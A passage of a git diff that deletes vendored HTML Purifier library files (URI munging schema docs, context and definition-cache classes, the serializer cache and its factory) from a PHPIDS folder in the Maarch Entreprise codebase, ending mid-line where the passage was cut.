ed4b5b0d023afd7d0e68fdad214505a2bdbd55d1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt +++ /dev/null @@ -1,17 +0,0 @@ -URI.MungeResources -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -<p> - If true, any URI munging directives like %URI.Munge - will also apply to embedded resources, such as <code><img src=""></code>. - Be careful enabling this directive if you have a redirector script - that does not use the <code>Location</code> HTTP header; all of your images - and other embedded resources will break. -</p> -<p> - <strong>Warning:</strong> It is strongly advised you use this in conjunction - %URI.MungeSecretKey to mitigate the security risk of an open redirector. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt deleted file mode 100755 index 3b50c8c1310ec7ad707d6c5fc54e0e30b4917be8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt +++ /dev/null @@ -1,30 +0,0 @@ -URI.MungeSecretKey -TYPE: string/null -VERSION: 3.1.1 -DEFAULT: NULL ---DESCRIPTION-- -<p> - This directive enables secure checksum generation along with %URI.Munge. - It should be set to a secure key that is not shared with anyone else. - The checksum can be placed in the URI using %t. Use of this checksum - affords an additional level of protection by allowing a redirector - to check if a URI has passed through HTML Purifier with this line: -</p> - -<pre>$checksum === sha1($secret_key . ':' . $url)</pre> - -<p> - If the output is TRUE, the redirector script should accept the URI. -</p> - -<p> - Please note that it would still be possible for an attacker to procure - secure hashes en-mass by abusing your website's Preview feature or the - like, but this service affords an additional level of protection - that should be combined with website blacklisting. -</p> - -<p> - Remember this has no effect if %URI.Munge is not on. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt deleted file mode 100755 index 8b387dea31f91c31a43ff28b586f569bfd4ec598..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt +++ /dev/null @@ -1,9 +0,0 @@ -URI.OverrideAllowedSchemes -TYPE: bool -DEFAULT: true ---DESCRIPTION-- -If this is set to true (which it is by default), you can override -%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the -registry. If false, you will also have to update that directive in order -to add more schemes. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt deleted file mode 100755 index dee0716af0dbdcecb80739b2915a5a55cf654083..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt +++ /dev/null @@ -1,3 +0,0 @@ -URI -DESCRIPTION: Features regarding Uniform Resource Identifiers. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini deleted file mode 100755 index 58e0ce4a17f9b0459e4ff6ebf9570f589bb8c646..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini +++ /dev/null @@ -1,3 +0,0 @@ -name = "HTML Purifier" - -; vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php deleted file mode 100755 index 7aafd88272e48c3c38f904f162474e5996657531..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php +++ /dev/null @@ -1,155 +0,0 @@ -<?php - -/** - * @todo Unit test - */ -class HTMLPurifier_ContentSets -{ - - /** - * List of content set strings (pipe seperators) indexed by name. - */ - public $info = array(); - - /** - * List of content set lookups (element => true) indexed by name. - * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets - */ - public $lookup = array(); - - /** - * Synchronized list of defined content sets (keys of info) - */ - protected $keys = array(); - /** - * Synchronized list of defined content values (values of info) - */ - protected $values = array(); - - /** - * Merges in module's content sets, expands identifiers in the content - * sets and populates the keys, values and lookup member variables. - * @param $modules List of HTMLPurifier_HTMLModule - */ - public function __construct($modules) { - if (!is_array($modules)) $modules = array($modules); - // populate content_sets based on module hints - // sorry, no way of overloading - foreach ($modules as $module_i => $module) { - foreach ($module->content_sets as $key => $value) { - $temp = $this->convertToLookup($value); - if (isset($this->lookup[$key])) { - // add it into the existing content set - $this->lookup[$key] = array_merge($this->lookup[$key], $temp); - } else { - $this->lookup[$key] = $temp; - } - } - } - $old_lookup = false; - while ($old_lookup !== $this->lookup) { - $old_lookup = $this->lookup; - foreach ($this->lookup as $i => $set) { - $add = array(); - foreach ($set as $element => $x) { - if (isset($this->lookup[$element])) { - $add += $this->lookup[$element]; - unset($this->lookup[$i][$element]); - } - } - $this->lookup[$i] += $add; - } - } - - foreach ($this->lookup as $key => $lookup) { - $this->info[$key] = implode(' | ', array_keys($lookup)); - } - $this->keys = array_keys($this->info); - $this->values = array_values($this->info); - } - - /** - * Accepts a definition; generates and assigns a ChildDef for it - * @param $def HTMLPurifier_ElementDef reference - * @param $module Module that defined the ElementDef - */ - public function generateChildDef(&$def, $module) { - if (!empty($def->child)) return; // already done! - $content_model = $def->content_model; - if (is_string($content_model)) { - // Assume that $this->keys is alphanumeric - $def->content_model = preg_replace_callback( - '/\b(' . implode('|', $this->keys) . ')\b/', - array($this, 'generateChildDefCallback'), - $content_model - ); - //$def->content_model = str_replace( - // $this->keys, $this->values, $content_model); - } - $def->child = $this->getChildDef($def, $module); - } - - public function generateChildDefCallback($matches) { - return $this->info[$matches[0]]; - } - - /** - * Instantiates a ChildDef based on content_model and content_model_type - * member variables in HTMLPurifier_ElementDef - * @note This will also defer to modules for custom HTMLPurifier_ChildDef - * subclasses that need content set expansion - * @param $def HTMLPurifier_ElementDef to have ChildDef extracted - * @return HTMLPurifier_ChildDef corresponding to ElementDef - */ - public function getChildDef($def, $module) { - $value = $def->content_model; - if (is_object($value)) { - trigger_error( - 'Literal object child definitions should be stored in '. - 'ElementDef->child not ElementDef->content_model', - E_USER_NOTICE - ); - return $value; - } - switch ($def->content_model_type) { - case 'required': - return new HTMLPurifier_ChildDef_Required($value); - case 'optional': - return new HTMLPurifier_ChildDef_Optional($value); - case 'empty': - return new HTMLPurifier_ChildDef_Empty(); - case 'custom': - return new HTMLPurifier_ChildDef_Custom($value); - } - // defer to its module - $return = false; - if ($module->defines_child_def) { // save a func call - $return = $module->getChildDef($def); - } - if ($return !== false) return $return; - // error-out - trigger_error( - 'Could not determine which ChildDef class to instantiate', - E_USER_ERROR - ); - return false; - } - - /** - * Converts a string list of elements separated by pipes into - * a lookup array. - * @param $string List of elements - * @return Lookup array of elements - */ - protected function convertToLookup($string) { - $array = explode('|', str_replace(' ', '', $string)); - $ret = array(); - foreach ($array as $i => $k) { - $ret[$k] = true; - } - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php deleted file mode 100755 index 9351f8971131a2689596aa6ebc82bc50492636c1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php +++ /dev/null @@ -1,82 +0,0 @@ -<?php - -/** - * Registry object that contains information about the current context. - * @warning Is a bit buggy when variables are set to null: it thinks - * they don't exist! So use false instead, please. - * @note Since the variables Context deals with may not be objects, - * references are very important here! Do not remove! - */ -class HTMLPurifier_Context -{ - - /** - * Private array that stores the references. - */ - private $_storage = array(); - - /** - * Registers a variable into the context. - * @param $name String name - * @param $ref Reference to variable to be registered - */ - public function register($name, &$ref) { - if (isset($this->_storage[$name])) { - trigger_error("Name $name produces collision, cannot re-register", - E_USER_ERROR); - return; - } - $this->_storage[$name] =& $ref; - } - - /** - * Retrieves a variable reference from the context. - * @param $name String name - * @param $ignore_error Boolean whether or not to ignore error - */ - public function &get($name, $ignore_error = false) { - if (!isset($this->_storage[$name])) { - if (!$ignore_error) { - trigger_error("Attempted to retrieve non-existent variable $name", - E_USER_ERROR); - } - $var = null; // so we can return by reference - return $var; - } - return $this->_storage[$name]; - } - - /** - * Destorys a variable in the context. - * @param $name String name - */ - public function destroy($name) { - if (!isset($this->_storage[$name])) { - trigger_error("Attempted to destroy non-existent variable $name", - E_USER_ERROR); - return; - } - unset($this->_storage[$name]); - } - - /** - * Checks whether or not the variable exists. - * @param $name String name - */ - public function exists($name) { - return isset($this->_storage[$name]); - } - - /** - * Loads a series of variables from an associative array - * @param $context_array Assoc array of variables to load - */ - public function loadArray($context_array) { - foreach ($context_array as $key => $discard) { - $this->register($key, $context_array[$key]); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php deleted file mode 100755 index 8a540540a548f6306f930de9f1d9ec6252479219..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php +++ /dev/null @@ -1,50 +0,0 @@ -<?php - -/** - * Super-class for definition datatype objects, implements serialization - * functions for the class. - */ -abstract class HTMLPurifier_Definition -{ - - /** - * Has setup() been called yet? - */ - public $setup = false; - - /** - * If true, write out the final definition object to the cache after - * setup. This will be true only if all invocations to get a raw - * definition object are also optimized. This does not cause file - * system thrashing because on subsequent calls the cached object - * is used and any writes to the raw definition object are short - * circuited. See enduser-customize.html for the high-level - * picture. - */ - public $optimized = null; - - /** - * What type of definition is it? - */ - public $type; - - /** - * Sets up the definition object into the final form, something - * not done by the constructor - * @param $config HTMLPurifier_Config instance - */ - abstract protected function doSetup($config); - - /** - * Setup function that aborts if already setup - * @param $config HTMLPurifier_Config instance - */ - public function setup($config) { - if ($this->setup) return; - $this->setup = true; - $this->doSetup($config); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php deleted file mode 100755 index 7520fa1d3067a87a242746d060347f1b16f63ee3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php +++ /dev/null @@ -1,108 +0,0 @@ -<?php - -/** - * Abstract class representing Definition cache managers that implements - * useful common methods and is a factory. - * @todo Create a separate maintenance file advanced users can use to - * cache their custom HTMLDefinition, which can be loaded - * via a configuration directive - * @todo Implement memcached - */ -abstract class HTMLPurifier_DefinitionCache -{ - - public $type; - - /** - * @param $name Type of definition objects this instance of the - * cache will handle. - */ - public function __construct($type) { - $this->type = $type; - } - - /** - * Generates a unique identifier for a particular configuration - * @param Instance of HTMLPurifier_Config - */ - public function generateKey($config) { - return $config->version . ',' . // possibly replace with function calls - $config->getBatchSerial($this->type) . ',' . - $config->get($this->type . '.DefinitionRev'); - } - - /** - * Tests whether or not a key is old with respect to the configuration's - * version and revision number. - * @param $key Key to test - * @param $config Instance of HTMLPurifier_Config to test against - */ - public function isOld($key, $config) { - if (substr_count($key, ',') < 2) return true; - list($version, $hash, $revision) = explode(',', $key, 3); - $compare = version_compare($version, $config->version); - // version mismatch, is always old - if ($compare != 0) return true; - // versions match, ids match, check revision number - if ( - $hash == $config->getBatchSerial($this->type) && - $revision < $config->get($this->type . '.DefinitionRev') - ) return true; - return false; - } - - /** - * Checks if a definition's type jives with the cache's type - * @note Throws an error on failure - * @param $def Definition object to check - * @return Boolean true if good, false if not - */ - public function checkDefType($def) { - if ($def->type !== $this->type) { - trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}"); - return false; - } - return true; - } - - /** - * Adds a definition object to the cache - */ - abstract public function add($def, $config); - - /** - * Unconditionally saves a definition object to the cache - */ - abstract public function set($def, $config); - - /** - * Replace an object in the cache - */ - abstract public function replace($def, $config); - - /** - * Retrieves a definition object from the cache - */ - abstract public function get($config); - - /** - * Removes a definition object to the cache - */ - abstract public function remove($config); - - /** - * Clears all objects from cache - */ - abstract public function flush($config); - - /** - * Clears all expired (older version or revision) objects from cache - * @note Be carefuly implementing this method as flush. Flush must - * not interfere with other Definition types, and cleanup() - * should not be repeatedly called by userland code. - */ - abstract public function cleanup($config); - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php deleted file mode 100755 index 5d45da3e3155185c5d55406a5e6e9e433118f894..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php +++ /dev/null @@ -1,62 +0,0 @@ -<?php - -class HTMLPurifier_DefinitionCache_Decorator extends HTMLPurifier_DefinitionCache -{ - - /** - * Cache object we are decorating - */ - public $cache; - - public function __construct() {} - - /** - * Lazy decorator function - * @param $cache Reference to cache object to decorate - */ - public function decorate(&$cache) { - $decorator = $this->copy(); - // reference is necessary for mocks in PHP 4 - $decorator->cache =& $cache; - $decorator->type = $cache->type; - return $decorator; - } - - /** - * Cross-compatible clone substitute - */ - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator(); - } - - public function add($def, $config) { - return $this->cache->add($def, $config); - } - - public function set($def, $config) { - return $this->cache->set($def, $config); - } - - public function replace($def, $config) { - return $this->cache->replace($def, $config); - } - - public function get($config) { - return $this->cache->get($config); - } - - public function remove($config) { - return $this->cache->remove($config); - } - - public function flush($config) { - return $this->cache->flush($config); - } - - public function cleanup($config) { - return $this->cache->cleanup($config); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php deleted file mode 100755 index c35794937777335bcbdbf4227d85fba63630c814..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -/** - * Definition cache decorator class that cleans up the cache - * whenever there is a cache miss. - */ -class HTMLPurifier_DefinitionCache_Decorator_Cleanup extends - HTMLPurifier_DefinitionCache_Decorator -{ - - public $name = 'Cleanup'; - - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator_Cleanup(); - } - - public function add($def, $config) { - $status = parent::add($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function set($def, $config) { - $status = parent::set($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function replace($def, $config) { - $status = parent::replace($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function get($config) { - $ret = parent::get($config); - if (!$ret) parent::cleanup($config); - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Memory.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Memory.php deleted file mode 100755 index f35217e9a176843e8c00483af05bac0d0e91da2e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Memory.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -/** - * Definition cache decorator class that saves all cache retrievals - * to PHP's memory; good for unit tests or circumstances where - * there are lots of configuration objects floating around. - */ -class HTMLPurifier_DefinitionCache_Decorator_Memory extends - HTMLPurifier_DefinitionCache_Decorator -{ - - protected $definitions; - public $name = 'Memory'; - - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator_Memory(); - } - - public function add($def, $config) { - $status = parent::add($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function set($def, $config) { - $status = parent::set($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function replace($def, $config) { - $status = parent::replace($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function get($config) { - $key = $this->generateKey($config); - if (isset($this->definitions[$key])) return $this->definitions[$key]; - $this->definitions[$key] = parent::get($config); - return $this->definitions[$key]; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in deleted file mode 100755 index f33fe37a3971ab400f31253f7f00853d387058f3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; - -/** - * Definition cache decorator template. - */ -class HTMLPurifier_DefinitionCache_Decorator_Template extends - HTMLPurifier_DefinitionCache_Decorator -{ - - var $name = 'Template'; // replace this - - function copy() { - // replace class name with yours - return new HTMLPurifier_DefinitionCache_Decorator_Template(); - } - - // remove methods you don't need - - function add($def, $config) { - return parent::add($def, $config); - } - - function set($def, $config) { - return parent::set($def, $config); - } - - function replace($def, $config) { - return parent::replace($def, $config); - } - - function get($config) { - return parent::get($config); - } - - function flush() { - return parent::flush(); - } - - function cleanup($config) { - return parent::cleanup($config); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Null.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Null.php deleted file mode 100755 index 7e697f75de7f46ae4b92d26a478b9a1b9c961149..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Null.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -/** - * Null cache object to use when no caching is on. - */ -class HTMLPurifier_DefinitionCache_Null extends HTMLPurifier_DefinitionCache -{ - - public function add($def, $config) { - return false; - } - - public function set($def, $config) { - return false; - } - - public function replace($def, $config) { - return false; - } - - public function remove($config) { - return false; - } - - public function get($config) { - return false; - } - - public function flush($config) { - return false; - } - - public function cleanup($config) { - return false; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php deleted file mode 100755 index 1627f3bfc751922a4f95c9ac2739326524b0e837..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php +++ /dev/null @@ -1,191 +0,0 @@ -<?php - -class HTMLPurifier_DefinitionCache_Serializer extends - HTMLPurifier_DefinitionCache -{ - - public function add($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (file_exists($file)) return false; - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def), $config); - } - - public function set($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def), $config); - } - - public function replace($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def), $config); - } - - public function get($config) { - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - return unserialize(file_get_contents($file)); - } - - public function remove($config) { - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - return unlink($file); - } - - public function flush($config) { - if (!$this->_prepareDir($config)) return false; - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) continue; - if ($filename[0] === '.') continue; - unlink($dir . '/' . $filename); - } - } - - public function cleanup($config) { - if (!$this->_prepareDir($config)) return false; - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) continue; - if ($filename[0] === '.') continue; - $key = substr($filename, 0, strlen($filename) - 4); - if ($this->isOld($key, $config)) unlink($dir . '/' . $filename); - } - } - - /** - * Generates the file path to the serial file corresponding to - * the configuration and definition name - * @todo Make protected - */ - public function generateFilePath($config) { - $key = $this->generateKey($config); - return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; - } - - /** - * Generates the path to the directory contain this cache's serial files - * @note No trailing slash - * @todo Make protected - */ - public function generateDirectoryPath($config) { - $base = $this->generateBaseDirectoryPath($config); - return $base . '/' . $this->type; - } - - /** - * Generates path to base directory that contains all definition type - * serials - * @todo Make protected - */ - public function generateBaseDirectoryPath($config) { - $base = $config->get('Cache.SerializerPath'); - $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; - return $base; - } - - /** - * Convenience wrapper function for file_put_contents - * @param $file File name to write to - * @param $data Data to write into file - * @param $config Config object - * @return Number of bytes written if success, or false if failure. - */ - private function _write($file, $data, $config) { - $result = file_put_contents($file, $data); - if ($result !== false) { - // set permissions of the new file (no execute) - $chmod = $config->get('Cache.SerializerPermissions'); - if (!$chmod) { - $chmod = 0644; // invalid config or simpletest - } - $chmod = $chmod & 0666; - chmod($file, $chmod); - } - return $result; - } - - /** - * Prepares the directory that this type stores the serials in - * @param $config Config object - * @return True if successful - */ - private function _prepareDir($config) { - $directory = $this->generateDirectoryPath($config); - $chmod = $config->get('Cache.SerializerPermissions'); - if (!$chmod) { - $chmod = 0755; // invalid config or simpletest - } - if (!is_dir($directory)) { - $base = $this->generateBaseDirectoryPath($config); - if (!is_dir($base)) { - trigger_error('Base directory '.$base.' does not exist, - please create or change using %Cache.SerializerPath', - E_USER_WARNING); - return false; - } elseif (!$this->_testPermissions($base, $chmod)) { - return false; - } - $old = umask(0000); - mkdir($directory, $chmod); - umask($old); - } elseif (!$this->_testPermissions($directory, $chmod)) { - return false; - } - return true; - } - - /** - * Tests permissions on a directory and throws out friendly - * error messages and attempts to chmod it itself if possible - * @param $dir Directory path - * @param $chmod Permissions - * @return True if directory writable - */ - private function _testPermissions($dir, $chmod) { - // early abort, if it is writable, everything is hunky-dory - if (is_writable($dir)) return true; - if (!is_dir($dir)) { - // generally, you'll want to handle this beforehand - // so a more specific error message can be given - trigger_error('Directory '.$dir.' does not exist', - E_USER_WARNING); - return false; - } - if (function_exists('posix_getuid')) { - // POSIX system, we can give more specific advice - if (fileowner($dir) === posix_getuid()) { - // we can chmod it ourselves - $chmod = $chmod | 0700; - if (chmod($dir, $chmod)) return true; - } elseif (filegroup($dir) === posix_getgid()) { - $chmod = $chmod | 0070; - } else { - // PHP's probably running as nobody, so we'll - // need to give global permissions - $chmod = $chmod | 0777; - } - trigger_error('Directory '.$dir.' not writable, '. - 'please chmod to ' . decoct($chmod), - E_USER_WARNING); - } else { - // generic error message - trigger_error('Directory '.$dir.' not writable, '. - 'please alter file permissions', - E_USER_WARNING); - } - return false; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/CSS/4.1.0,801ad73acbcf9d3127e1d01768d26453,1.ser b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/CSS/4.1.0,801ad73acbcf9d3127e1d01768d26453,1.ser deleted file mode 100755 index 7af3bad39add6809e13aad6ebb9556b78522d0d0..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/CSS/4.1.0,801ad73acbcf9d3127e1d01768d26453,1.ser and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/HTML/4.1.0,ddc9b993d7fc8d4a185e8dbf5b9a0996,1.ser b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/HTML/4.1.0,ddc9b993d7fc8d4a185e8dbf5b9a0996,1.ser deleted file mode 100755 index a58b3b29a0ae3c29ebf019c26c40cbeb38e23cdb..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/HTML/4.1.0,ddc9b993d7fc8d4a185e8dbf5b9a0996,1.ser and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README deleted file mode 100755 index ba005de737a33220496490f6e9899b4ca3c2d91f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README +++ /dev/null @@ -1,3 +0,0 @@ -This is a dummy file to prevent Git from ignoring this empty directory. - - vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/URI/4.0.0,05c766101e813c246917b022f97b5e6e,1.ser b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/URI/4.0.0,05c766101e813c246917b022f97b5e6e,1.ser deleted file mode 100755 index b0563a0823d425716aed44185de4926044c3c056..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/URI/4.0.0,05c766101e813c246917b022f97b5e6e,1.ser and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php deleted file mode 100755 index ca13e30f7d023b2fe7a97fea005fd5fcaabaa8c3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php +++ /dev/null @@ -1,91 +0,0 @@ -<?php - -/** - * Responsible for creating definition caches. - */ -class HTMLPurifier_DefinitionCacheFactory -{ - - protected $caches = array('Serializer' => array()); - protected $implementations = array(); - protected $decorators = array(); - - /** - * Initialize default decorators - */ - public function setup() { - $this->addDecorator('Cleanup'); - } - - /** - * Retrieves an instance of global definition cache factory. - */ - public static function instance($prototype = null) { - static $instance; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype === true) { - $instance = new HTMLPurifier_DefinitionCacheFactory(); - $instance->setup(); - } - return $instance; - } - - /** - * Registers a new definition cache object - * @param $short Short name of cache object, for reference - * @param $long Full class name of cache object, for construction - */ - public function register($short, $long) { - $this->implementations[$short] = $long; - } - - /** - * Factory method that creates a cache object based on configuration - * @param $name Name of definitions handled by cache - * @param $config Instance of HTMLPurifier_Config - */ - public function create($type, $config) { - $method = $config->get('Cache.DefinitionImpl'); - if ($method === null) { - return new HTMLPurifier_DefinitionCache_Null($type); - } - if (!empty($this->caches[$method][$type])) { - return $this->caches[$method][$type]; - } - if ( - isset($this->implementations[$method]) && - class_exists($class = $this->implementations[$method], false) - ) { - $cache = new $class($type); - } else { - if ($method != 'Serializer') { - trigger_error("Unrecognized DefinitionCache 